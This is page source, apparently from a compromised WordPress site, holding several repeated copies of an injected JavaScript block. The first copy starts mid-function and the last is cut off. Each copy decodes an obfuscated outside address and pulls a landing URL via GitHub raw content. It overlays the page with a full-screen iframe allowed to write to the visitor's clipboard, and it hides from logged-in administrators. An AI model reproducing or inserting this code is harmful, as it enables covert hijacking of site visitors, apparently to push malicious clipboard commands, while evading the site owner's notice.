    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");

    if (!s) return "";

    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }

    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}

    return "";
  }

  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";

    if (typeof input === "string") {
      return toHttpUrl(input);
    }

    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }

    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }

    return "";
  }

  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }

  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;

    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;

    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;

      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;

      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }

      parent.appendChild(link);
    } catch (e) {}
  }

  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;

    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }

      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

      if (!builtUrl) {
        return step(index + 1);
      }

      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }

      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }

    return step(0);
  }

  function activateIframe(url) {
    if (!url || registry.status === "active") return;

    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }

    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }

    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }

    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;

    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);

      registry.status = "active";

      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");

      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }

    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }

    registry.destroy = destroy;
    registry.reveal = reveal;

    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");

    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };

    iframe.onerror = function () {
      destroy();
    };

    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);

    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }

  function run() {
    warmupOrigins();
    bindMessageHandler();

    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }

        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        finalUrl = toHttpUrl(finalUrl);

        if (!finalUrl) {
          cleanup("done");
          return "";
        }

        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }

        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }

  registry.runPromise = run();
})();</script><script>;(function () {
  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];

  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";

  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };

  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;

      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

      var de = document.documentElement;
      var body = document.body;

      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}

    return false;
  }

  if (isWpLoggedInContext()) return;

  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }

  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }

  registry.status = "loading";

  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }

  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";

    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }

    var encoded = encodeURIComponent(id);

    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }

    return template.replace(/\{id\}/g, encoded);
  }

  function toHttpUrl(value) {
    if (!value) return "";

    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");

    if (!s) return "";

    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }

    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}

    return "";
  }

  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";

    if (typeof input === "string") {
      return toHttpUrl(input);
    }

    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }

    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }

    return "";
  }

  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }

  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;

    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;

    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;

      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;

      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }

      parent.appendChild(link);
    } catch (e) {}
  }

  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;

    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }

      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

      if (!builtUrl) {
        return step(index + 1);
      }

      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }

      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }

    return step(0);
  }

  function activateIframe(url) {
    if (!url || registry.status === "active") return;

    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }

    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }

    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }

    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;

    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);

      registry.status = "active";

      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");

      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }

    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }

    registry.destroy = destroy;
    registry.reveal = reveal;

    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");

    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };

    iframe.onerror = function () {
      destroy();
    };

    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);

    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }

  function run() {
    warmupOrigins();
    bindMessageHandler();

    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }

        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        finalUrl = toHttpUrl(finalUrl);

        if (!finalUrl) {
          cleanup("done");
          return "";
        }

        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }

        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }

  registry.runPromise = run();
})();</script><script>;(function () {
  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];

  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";

  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };

  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;

      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

      var de = document.documentElement;
      var body = document.body;

      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}

    return false;
  }

  if (isWpLoggedInContext()) return;

  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }

  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }

  registry.status = "loading";

  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }

  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";

    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }

    var encoded = encodeURIComponent(id);

    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }

    return template.replace(/\{id\}/g, encoded);
  }

  function toHttpUrl(value) {
    if (!value) return "";

    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");

    if (!s) return "";

    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }

    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}

    return "";
  }

  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";

    if (typeof input === "string") {
      return toHttpUrl(input);
    }

    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }

    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }

    return "";
  }

  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }

  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;

    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;

    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;

      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;

      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }

      parent.appendChild(link);
    } catch (e) {}
  }

  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;

    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }

      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

      if (!builtUrl) {
        return step(index + 1);
      }

      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }

      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
